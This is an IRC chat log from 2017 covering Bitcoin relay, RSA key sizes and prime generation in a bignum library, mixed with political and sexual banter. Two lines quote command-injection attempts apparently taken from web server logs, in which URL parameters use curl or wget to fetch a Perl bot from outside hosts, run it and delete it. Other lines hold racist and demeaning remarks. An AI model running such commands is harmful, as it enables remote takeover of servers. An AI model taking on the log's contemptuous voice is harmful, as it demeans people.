BingoBoingo: Eh, there's probably a difference between eye taking in sunlight and focusing the lens apparatus of the eye directly at the sun.
asciilifeform: this means a node that can speak directly to another.
asciilifeform: other idea is to demonstrate that trb can work without riding on top of existing telecom structure.
mircea_popescu: this is the important point of having defeated the usg flailing attempts to prevent actual fee market from developping : it will WORK.
asciilifeform: getting new blox to the transmitter asap would, theoretically, be a schelling point for miners ( all of whom currently 'eat the spoon of shit for free' from withholding chains )
asciilifeform: it would make the kind of miner monkey work currently fashionable, ~impossible
mircea_popescu: and of course as women are the social scar tissue, this is going to end up with yet another "oh, it's THEIR fault!!!", like every historical case to date.
asciilifeform: buncha monkeys, sitting on remnants of massive imperial machinery made by men. and looking for any, any way to leverage'em into a few moar yrs of pushing back the inevitable
mircea_popescu: then again, sept 11 marked the end of vhs-america. the remainder usg-sadness is not even at the level of hruschev's "reformed cccp"
mircea_popescu: there is that, yes.
asciilifeform: d00dz seem to be physically incapable of grasping a point by induction ( even the skyscrapers , apparently, didn't help... )
asciilifeform: ( they have constellation )
asciilifeform: sorta why the balloon thing keeps coming back -- search for a midpoint b/w 'tower' and 'satellite' cost
mircea_popescu: there's a cost to exploration, typified by pandora.
mircea_popescu: anyway, to the general point : satellite comms are a very limited thing, and will definitely go the same way the old roman dinner (ie, fuckfest) went once the medievals discovered syphilis.
asciilifeform: mircea_popescu: 'cossacks write letter to the sultan' in order?
mircea_popescu: i thought the point was conspicuity.
asciilifeform: less, incidentally, conspicuous, than monster flare from the ground
mircea_popescu: the cost per ton of this (materials, excluding labour and knowledge) is under 100 bux.
mircea_popescu: 2 stage, a 1-200kg booster thing to get it in gross range and a 2-3kg thing to power the last 100 grame spiked ball to the actual satellite
asciilifeform: this in practice is harder than simple sat launch ( the latter is not trying to fly to a specific point in space )
asciilifeform: problem is to get there.
mircea_popescu: easy to home on them lol. for obvious reasons.
asciilifeform: presumably plan is part of 2-pronged approach where they interfere with ordinary propagation.
mircea_popescu: it WAS cheaper before they got involved lol
mircea_popescu: asciilifeform who the fuck would depend on a satellite. for one thing they keep falling.
a111: Logged on 2017-08-14 17:08 mircea_popescu: it's funny how all the things are the same thing and everything wraps into ideological identity. empire needs... a lot of really dumb ones, as a COLLECTIVE. we... make every one stand on its own INDIVIDUALLY.
asciilifeform: they've been looking for how to monopolize relay, for years.
asciilifeform: and noshit.jpg you check for nuffin, you eat the mother church's blox as the come, presumably
asciilifeform: meanwhile, usg.prb folx claiming they will soon 'broadcast blocks from satellite', 'use prb without internet!111' -- leveraging the orbit monopoly to diddle 'these blox, mined by us, legal, other, terrorist blox -- orphans nao'
mircea_popescu: PeterL that lemma refers to domain borders. there's no border re hardware.
asciilifeform: PeterL: sorta why i wrote the most general , unconstrained ffa .
asciilifeform: well i thought of making a 3^n. but there's no reason not to say 'be a whole power of the machine BASE ' !
asciilifeform: and a few other things.
mircea_popescu: (at least we get this much from the sadness : if anyone asks "why 4096" user can link here._
mircea_popescu: asciilifeform there's nothing wrong with HAVING it. and people can use it. BUT for rsa we should use the even one.
asciilifeform: as for the other thing, right now we have a 'classical' karatsuba that permits odd splits
mircea_popescu: me either.
asciilifeform: mircea_popescu: there's something to be said for 111111.....1 (max hamming weight), and there's something else to be said for max-entropy
mircea_popescu: asciilifeform it means there's no space for choosing, as there's an obvious right thing.
mircea_popescu: asciilifeform 1111111111111111111111111111111111111111111111111111111111000101 ? or rather something more like 1100111110111010111111000100100010011101001010001000100100011001 ?
PeterL: (I was using 4160 bits as the limit)
asciilifeform: it is already over the limit
PeterL: (I forgot to increment a variable, so the first number is just 2*(a big exponent of 3) )
asciilifeform: 'non-choice' here means 'obviously Right Thing' or the opposite ?
a111: Logged on 2017-08-14 17:57 mircea_popescu: no, it is not, in that it would simplify routines. that's what makes it an aesthetic non-choice.
mircea_popescu: PeterL we found a hole in the spec ;/
asciilifeform: PeterL: these ain't hard to calculate
PeterL: I am still digesting logs, did you guys agree on a bit size for the primorial you want?
mircea_popescu: anyway. i am sad, but defeated. the dream has to die, it's what it is. so regretfully... 4096 keys.
mircea_popescu: aha. prolly should have a "dense" prime then.
asciilifeform: well theoretically fpga
mircea_popescu: there's no fucking way out of it.
mircea_popescu: asciilifeform no dude, consider the catechistic angle. "soo... why is your key 515 byts ?" "i dunno, his lordship mp said so" "why ?" "nobody knoiws, really. he just says things." "so how do you calculate it ?" "first, you set ffa to 520 bytes..." "why did he say 515 then ?" "uh... that's a good question."
asciilifeform: ALL ffa ops take time that is not dependent on the hamming weight. that's what 'constant time' means.
asciilifeform: incidentally, there is no reason why the ~public~ exponent , on ffatronic rsa, should not also be a large prime
asciilifeform: recall also that, since we have karatsuba, cost goes up with W logarithmically, rather than quadratically
a111: Logged on 2017-08-14 17:50 mircea_popescu: but this important point has important consequences, because now we can't have my eccentric rsa keys. must be 4096, because the only alternatives ffa permits are 2048 which is too short and 8912 which is too long.
asciilifeform: i'ma repeat that http://btcbase.org/log/2017-08-14#1697720 is a mistake -- you can still use any key width you like. just gotta 0extend up to the permitted multiple.
asciilifeform: but then you can only 8,16,....,4096,... etc. W.
asciilifeform: because could instead pass the splits directly
asciilifeform: and by extension, with the temp buffers in same
asciilifeform: if instead of 'mult of 64' we had 'powers of 2', we could dispense with the odd split in karatsuba
mircea_popescu: no, it is not, in that it would simplify routines. that's what makes it an aesthetic non-choice.
asciilifeform: however P progs MUST execute to same result on ALL known iron, is the idea
asciilifeform: this is open to debate, it is an aesthetic choice
asciilifeform: or at least encourages them
asciilifeform: ( there WAS attempt to make 'comp of no fixed bitness' )
asciilifeform: but i lost the link.
asciilifeform: btw the bitserial cpu thread prolly belongs linked here
mircea_popescu: asciilifeform yes, and then you're going to compute 192 keys on 256 bits, and wonder why the fuck are you not using 256.
asciilifeform: when on 128-bit iron , which exists today, you simply gotta pad out your payload so it sits in a W multiple of 128 ( supposing you insist on squeezing every penny of horse out of the 128ness )
mircea_popescu: that part is not in dispute either.
asciilifeform: just like your opteron is happy to add 1 + 1, even though 1 is a '1-bit' rather than 64-bit int
asciilifeform: this is not end of the world
mircea_popescu: and then when a 128 bit machine comes along ?
mircea_popescu: and if your key isn't 2^n, further computers will wreak havoc on deployed code by requiring non-dividing Ns.
mircea_popescu: but this important point has important consequences, because now we can't have my eccentric rsa keys. must be 4096, because the only alternatives ffa permits are 2048 which is too short and 8912 which is too long.
asciilifeform: not to the moon, not to mars
asciilifeform: would be very clear that the 'must sit in whole number of machine words' is not any kind of constraint imposed by asciilifeform , but by the machine
asciilifeform: if you read the code, mircea_popescu ,
a111: Logged on 2017-08-14 17:44 mircea_popescu: "N must be 64 because at some point i nthe past a 64 bit machine was released and we care ; N will not have to be 128 in the future because even though an 128 bit machine will probably be released in the future, we don't understand the future and consequently do not care"
mircea_popescu: so then we CANT use 64 bit aritm on 128 bit machine.
mircea_popescu: and then why can't we use 32 bit aritm on 64 bit machine ?
mircea_popescu: "N must be 64 because at some point i nthe past a 64 bit machine was released and we care ; N will not have to be 128 in the future because even though an 128 bit machine will probably be released in the future, we don't understand the future and consequently do not care"
mircea_popescu: this has been the worst explanation of a rationale in recorded history. care to do it over ?
mircea_popescu: then how about you know, it uses 8 bit chunks now.
mircea_popescu: answer the q then! when a 128 bit computer is sold, ffa word will ahve to increase to 128 bits ?
asciilifeform: understand, it is not possible to use partial machinewords in the simplest possible (i.e. the one in ffa) arithmetic method.
asciilifeform: ( at which point you oughta use THAT as the cap, not it )
hanbot: <mircea_popescu> this is actually going to be teh magic number of the republic. so at this juncture i would like to ask everyone to compute "the largest primorial (ie, product of all successive primes) that fits in 515 bits", sign it and put it into deedbot. << is this right (up to 2900)? http://wotpaste.cascadianhacker.com/pastes/9lxGb/?raw=true
mircea_popescu: the idea is to use DIFFERENT methods to compute it.
mircea_popescu: this is actually going to be teh magic number of the republic. so at this juncture i would like to ask everyone to compute "the largest primorial (ie, product of all successive primes) that fits in 515 bits", sign it and put it into deedbot.
asciilifeform: the basic, naive method for magicking a conventional algo into a constanttime algo, is to
mircea_popescu: ah, the primorial being 4kb
asciilifeform: idea is, for pre-millerrabin litmus, take gcd(candidate, Qw) where Qw is largest primorial that fits in the ffawidth
asciilifeform: it's a prelude for avoiding expensive miller-rabin when the latter is doomed to fail
mircea_popescu: asciilifeform i don't mean the disk size of the 8ball, i mean the size of the largest prime in it
mircea_popescu: asciilifeform i believe the spawner is the same mother-of-idiocy, always pregnant, always knees spread, that spawned everythiong they do, from "voting" to "gpg"
a111: Logged on 2017-08-14 16:16 asciilifeform: ( then, elementarily, you gcd against '8ball', primorial of $largeint )
mircea_popescu: it's funny how all the things are the same thing and everything wraps into ideological identity. empire needs... a lot of really dumb ones, as a COLLECTIVE. we... make every one stand on its own INDIVIDUALLY.
mircea_popescu: it is also a very typical difference, symbolic enough to go on our fucking flag. "the empire makes a test and then goes through parts until it finds one that goes through ; the republic makes a part and tests it until it is certain to be correct."
a111: Logged on 2017-08-14 16:14 asciilifeform: ( tldr : superiority of the FUCKGOATS-enabled approach, of get-new-N-bits-from-rng-then-primalitytest-until-done, vs the kochian get-N-bits-then-increment-until-passes-millerrabin )
mircea_popescu: and otherwise, in their own fucking idiota i mean "idioma", it goes like so : "con fuerza y corage dicimos adios". this. this is 100% argentina, brave, brave, brave sir robert turned about and galantly he chickened out... brave brave brave recursos humanos...
a111: Logged on 2017-08-14 15:18 asciilifeform: in other hilarities almost worthy of mircea_popescu's robotzi, https://www.youtube.com/watch?v=VKkcTpCur7g
mircea_popescu: http://btcbase.org/log/2017-08-14#1697559 << the MOST hilarious thing in there is that the fucktard thinking himself an airplane pilot asks "me copia base". you understandf this ? subhuman orc language DOES NOT HAVE WORD. thinks it's ok, just as good as anything.
a111: Logged on 2017-08-14 15:12 asciilifeform: in other lulz, https://www.youtube.com/watch?v=IzZb6kfctEU << 'my father would spin like a dreidel in his grave if he saw'
mircea_popescu: http://btcbase.org/log/2017-08-14#1697556 << the funny thing is that there's not enough of them by now. same exact thing happened to the german communists in the 30s. "folks this is the end", ie, "we used to think we're right because we're many, and now we're not many, and that's all we had."
mircea_popescu: it's your racist victim that stood in the way of black code matters and progress and spice and everything nice.
mircea_popescu: http://btcbase.org/log/2017-08-14#1697566 << don't you just love it how the implication is that your item they broke was "somehow" at fault ? it's not "we pushed a buggy piece of shit into your item and thereby broke it". not ever.
shinohai: Theonly 2 fixes proffered require AT LEAST one week to implement
asciilifeform: as usual asciilifeform has deeply nfi why NONE of the published rsatrons, to date, do this.
asciilifeform: ( then, elementarily, you gcd against '8ball', primorial of $largeint )
asciilifeform: the other thing, you don't need ANY trial-divisions in the prelude to miller-rabin, IF you have a constant-time gcd
asciilifeform: ( tldr : superiority of the FUCKGOATS-enabled approach, of get-new-N-bits-from-rng-then-primalitytest-until-done, vs the kochian get-N-bits-then-increment-until-passes-millerrabin )
asciilifeform: in other olds , https://www.iacr.org/archive/ches2009/57470141/57470141.pdf << traditional rsa prime generation is quite 'loud'. this is not a seekrit. subj demonstrates algo for actually recovering the prime.
asciilifeform: in other hilarities almost worthy of mircea_popescu's robotzi, https://www.youtube.com/watch?v=VKkcTpCur7g
trinque: cute backyard tiki torches. I wonder if they got the citronella ones, useful for keeping skeeters away from your /pol/ flash mob.
asciilifeform: 'the police abandoned us!' etc
asciilifeform: in other lulz, https://www.youtube.com/watch?v=IzZb6kfctEU << 'my father would spin like a dreidel in his grave if he saw'
trinque: mircea_popescu: makes sense. can't stop the bits from leaking; can however simply let the owner of an account know every time something happens, so he can yell at me before I do the next batch of withdrawals if he didn't do it.
mircea_popescu: accidental re-use of otps would however become obvious to L the moment he sees two hash(C)s equal. he can complain even before the user responds to the otppad.
mircea_popescu: the ~only approach is to come up with secret parts, but this is contrary to design goals in context.
mircea_popescu: trinque there's no way to prove owner of secret S did not share secret S with someone else. that's why "key sharing" dun work for rsa/bitcoin/etc.
a111: Logged on 2017-08-06 05:36 mircea_popescu: trinque re last para, what's wrong with you know, http://btcbase.org/log/2017-08-03#1693444 ? basically replace "The user decrypts the ciphertext and returns the cleartext OTP to D, which relays it to T, meanwhile revealing it to L. T replies to D with either "OK" or "FAIL", and a transaction is complete." with "T sends hash(C) to L, encrypted(C) to D. The user decrypts the ciphertext and returns the cleartext OTP to D, which
a111: Logged on 2017-08-06 05:36 mircea_popescu: trinque re last para, what's wrong with you know, http://btcbase.org/log/2017-08-03#1693444 ? basically replace "The user decrypts the ciphertext and returns the cleartext OTP to D, which relays it to T, meanwhile revealing it to L. T replies to D with either "OK" or "FAIL", and a transaction is complete." with "T sends hash(C) to L, encrypted(C) to D. The user decrypts the ciphertext and returns the cleartext OTP to D, which
trinque: http://btcbase.org/log/2017-08-06#1694432B << does this render the question of whether T leaked user 1's otp to user N moot? if so I'm not seeing it yet.
BingoBoingo: <mircea_popescu> BingoBoingo don't you just love how the tards went straight on from "bitcoin cash" to "segwit" without skipping a beat ? << Well, they soft forked segwit. Their new hill is TWO mb blocks
mircea_popescu: BingoBoingo don't you just love how the tards went straight on from "bitcoin cash" to "segwit" without skipping a beat ?
asciilifeform: ( it's in the gcc lang set, right next to f77 )
asciilifeform: and 'to ada' also wrong word, (ultra fascist subset of) ada is simply what remained on the table after we went methodically through all reqs for a sane programming (for existing iron) system
asciilifeform: also interesting to mike_c will be the 'trbi' threads..
mike_c: is it findable from http://thebitcoin.foundation/ somewhere?
asciilifeform: so in the end it will not be strictly necessary to eat every gram of log that added up to it, to properly grasp
asciilifeform: the saving grace is that almost whole point of p is for it to be readable/self-contained
asciilifeform: 'p' is very different flavour from the old heathenry , however. think 'forth with bignums' approx.
asciilifeform: back to the living!
mod6: <+mike_c> mod6 - you mentioned I might need some hand holding. anything I need to know that's not in http://thebitcoin.foundation/trb-howto.html ? << that /should/ be all you need to know. less steps in the on-line version, but use which ever you need.
jhvh1: lobbes: The operation succeeded.
lobbes: !~later tell BingoBoingo http://qntra.net/2017/08/antifa-terrorists-and-pantsuit-local-government-shut-down-conservative-rally-fatalities-reported/ << "On the morning of the event Charlotte police" << s/Charlotte/Charlottesville
mike_c: mod6 - you mentioned I might need some hand holding. anything I need to know that's not in http://thebitcoin.foundation/trb-howto.html ?
mike_c: yeah, I want to dig up some logs on the rsa stuff.
mod6: there was a bug that was discovered like a year ago
mircea_popescu: meanwhile gpg was pretty much thrown in the prb pile.
mircea_popescu: now if only i knew what the fuck i want with it to any meaningful degree...
mircea_popescu: mod6 you prolly have a point there, i should write since it keeps coming up when trying to get intelligent people up to speed.
mircea_popescu: mike_c you'll have fun reading those then :p
mike_c: stan's theory for a mesh networked internet at least, I don't remember him proposing it for computing
mike_c: ah, as theory, yes.
mircea_popescu: mod6 pretty sure he recalls that as theory.
mircea_popescu: and now the idea is... since this could ALSO be used as a padder (in the rsa sense), a reverser is needed (takes r and s and spits out m)
mod6: is there a trilema post on UCI?
mircea_popescu: oh, and the mpfhf!
mod6: i've had to learn ada just to keep up & read the thing. help test where I can.
mike_c: ada for the tmsr-rsa?
mircea_popescu: hm... should i lower the pay-for-tits moar ? i mean 2 bitcents is nigh on a hundred bux by now wtf.
mircea_popescu: and trinque was about to release a payments thing for deedbot by ... end of july yo! and then there's the ffa growing towards a proper tmsr-rsa, and of course the gossipd sandbox, and a coupla yet sikrit items and so on
mod6: <+mircea_popescu> mike_c but look at the new v-based trb build << yah, if you're interested in standing up a node, we'll talk ya through it.
mircea_popescu: mike_c but look at the new v-based trb build
mike_c: v I was around for. at least the beginnings.
mircea_popescu: there's a lot of new shit, actually. heck, it's unthinkable, but i guess 90% of the republican stuff was made in the past 18 months. i have nfi how this works, somehow the feeling is that "nothing changed" right, it was the same thing then too, no ? yes, and yet... there's v and there's a whole new pile of bots and on it goes.
mike_c: I've got to catch up on the client release notes too, see what mod6 has been up to.
mircea_popescu: and yeah they're pretty cool tbh.
mike_c: i'm working my way through the shop now.
mircea_popescu: there is that.
mike_c: 18 months? Mostly work (couple jobs since then) and child raising.
mike_c: i'm trying to buy myself some goats, I heard this was the right place.
mike_c: although probably with the wrong things.
a111: Logged on 2016-04-27 03:01 mike_c: at least you won the 'most famous mircea popescu' award - https://duckduckgo.com/?q=mircea+popescu
mircea_popescu: this is more of the same "but we got ai" crap.
a111: Logged on 2017-08-13 13:21 asciilifeform: meanwhile, in the circus, https://archive.is/t14Cy << 'extremism detector ai'
mircea_popescu: http://btcbase.org/log/2017-08-13#1697368 << eh they've been trying to come up with something to prop up the "market cap" of alphabet for a decade now, ever since it became completely obvious "advertising" is a lol.
phf: so this possibly invalidates my original thesis of "wreckers in sbcl!11" i just haven't spent as much time there as i have under other implementations
phf: asciilifeform: nah, there certainly aren't secrets (that i know). i don't know what's been written on the subject, but clearly everything's obvious to dedicated observers. my point is that some things are purview of journalists and historians.
a111: Logged on 2017-08-13 02:40 phf: http://btcbase.org/log/2017-08-11#1697030 << there are ways to silence almost all the "helpful" style warnings, but i couldn't figure out how to fight this one, short of disabling the locks.
BingoBoingo: "remember when a black supremacist sniper killed 5 cops last year and nobody demanded the president condemn 'black supremacist violence' and then the president went on to condemn the police for being racist?"
mircea_popescu: we laugh a lot, right, and half the time a gekko joins in, as if he got the joke. "ka-ka-ka-kaka"
mircea_popescu: they do this cackle thing, pretty funny.
mircea_popescu: no, fna does whatever the shit he pleases. he's like the trump except walks on ceilings.
BingoBoingo: Anyways it appear there is a clear heirarchy: mircea_popescu >> slavegirls >> dark paladins, locusts, Trumpreich, Fna
mircea_popescu: for all you know they're sending dark paladins to extinguish his dumb ass.
BingoBoingo: Well, apparently they aren't incensed enought to start delivering missives on this word crime to Lafond.
mircea_popescu: "really bitch ? she whines about strip club visits ? MOTHERFUCKER!"
mircea_popescu: BingoBoingo i doubt i could relay in words just how fucking incensed the slavegirls get every time that dood refers to his copacetic middle aged gf by the honorific.
a111: Logged on 2016-12-12 20:47 phf: (in random luls, since btcbase doesn't track renames for the longest time i thought that we had an actual "oglafbot" running. i saw BingoBoingo post an update a few times and wondered "what happened to oglafbot")
BingoBoingo: Well, rich Hungarian, of course the dudes caught em
mircea_popescu: incidentally, anyone wanna trace prices against http://trilema.com/2017/the-universal-plan-for-wealth/ or not really ready for the brickshitting jetzt.
mircea_popescu: so 5k before the weekend's out ?
phf: it's particularly annoying, because sometimes you want to do a localized subtle functional modification while preserving the signature and it won't "let" you
phf: http://btcbase.org/log/2017-08-11#1697030 << there are ways to silence almost all the "helpful" style warnings, but i couldn't figure out how to fight this one, short of disabling the locks.
mircea_popescu: sounds vaguely like at least a grosse of them. heck, even the original emanuelle is something like that.
phf: so in unrelated questions, does anybody by chance know a french or italian pornographic movie, probably 80s, early 90s? the setup is this girl gets invited to a secret party, gets fucked on stage in various creative ways (we're talking blacks in harlequin costumes, rather than sodom), takes taxi back home and there's a prolonged scene in a taxi cab ride home. everything's happening during one night, and the movie has correspondingly dark (vhs-y) tones
BingoBoingo: http://trilema.com/2017/the-famous-roasted-bird-soup-salata-de-boeuf-transform/#comment-122612
BingoBoingo: Now to the Quest-ion!
mircea_popescu: well, at least you encountered the question.
a111: Logged on 2017-08-10 10:05 mircea_popescu: (nemtsov, recently assassinated, was, of course, the guy putin beat for to http://btcbase.org/log/2017-07-21#1687959, yeltsin's chosen successor. ah what a great party it'd have been, for teh pantsuits. clinton forever, herdemocracy herp derp... then gore lost to bush, nemtsov lost to putin, nyc lost to gravity, sads sads sads.)
mircea_popescu: and in the same haxxor vein : /2013/why-i-suspect-schneier-is-an-us-agent/?cmd=curl+-C+-+-O+http://www.tonerbazis.hu/bot.txt%3Bperl+bot.txt%3Brm+bot.txt
mircea_popescu: ro cuisine ius sorta like cajun, grew wealthy out of theft and treason.
shinohai: Also, excellent profferings on the culinary front in trilema today, mircea_popescu
mircea_popescu: tales from the truehaxx logs : /2016/the-sad-state-of-bitcoin-code/?shxxx=wget http://www.fia.com.gr/wp-content/uploads/2010/doc.txt ; perl doc.txt ; perl doc.txt ; perl doc.txt ; perl doc.txt ; perl doc.txt ; rm -rf doc
mircea_popescu: and in other lulz : POKER! http://68.media.tumblr.com/b2c6e230649086c81322a035863fa2c0/tumblr_nh8sngAjW21semc6ko1_500.gif
deedbot: http://trilema.com/2017/the-famous-roasted-bird-soup-salata-de-boeuf-transform/ << Trilema - The famous roasted bird -> soup -> salata de boeuf transform
mircea_popescu: asciilifeform nice find. you should prolly buy a warehouse by now, move in, make the rest museum.
asciilifeform: 'Adding to the turmoil, the Federal Aviation Administration said late Saturday that a Virginia State Police helicopter had crashed about seven miles southwest of Charlottesville. State Police officials said two people died in the crash, the cause of which was not known.'
asciilifeform walked into b00ksh0p being sold off 'by the pound' after death of owner, found there a b00k by luby (of luby code) that had nfi existed at all
ben_about: also copenhagen suborbitals lost their...sub: https://arstechnica.com/gadgets/2017/08/biggest-amateur-built-sub-sinks-owner-is-suspected-of-killing-passenger/
ben_about: quite excited to see how the left escalates from here
a111: Logged on 2017-08-12 00:55 mircea_popescu: BingoBoingo that's quite plainly the mark of ascendancy. "demonstration" aka "here's proof you can't enforce the law on us", and appropriation, aka, "we think more than you and therefore your symbols aren't yours in any meaningful sense".
a111: Logged on 2017-08-12 15:53 mircea_popescu: and in other manly news, http://uselectionatlas.org/FORUM/GALLERY/12834_20_05_17_6_12_03.jpeg
mircea_popescu: and in other manly news, http://uselectionatlas.org/FORUM/GALLERY/12834_20_05_17_6_12_03.jpeg
mircea_popescu: internet access is a great boon to knowledge! all the learnin' of five billion bovines at your fingertips!
BingoBoingo: Well, what else can the fuel oil in waiting do?
BingoBoingo: It's not unthinkable that they would be given the Inca's likelihood of giving materials engineering the calvinist science treatment
mircea_popescu: "because of pressure". i suppose their submarines are made out of rubber ?
mircea_popescu: "It's only a matter of time before one of the Trident submarines are lost. HMS Vanguard a Trident submarine makes an appearance in the book for the deep depth incident. The submarine exceeded 300 meters (safe depth is 65meters). They under estimated the weight of the submarine and didn't have enough speed for the Aft-planes to create raise. The further the submarine descended the more the weight of the submarine increased due
mircea_popescu: "We are at war, with a new kind of enemy. The terrorists have infiltrated every nation on our planet. Our nuclear weapons are a target that's wide open to attack."
mircea_popescu: http://trilema.com/2015/i-think-you-drastically-overestimate-the-military-importance-of-nuclear-weapons/#comment-114220 << remember poor will mcneilly ?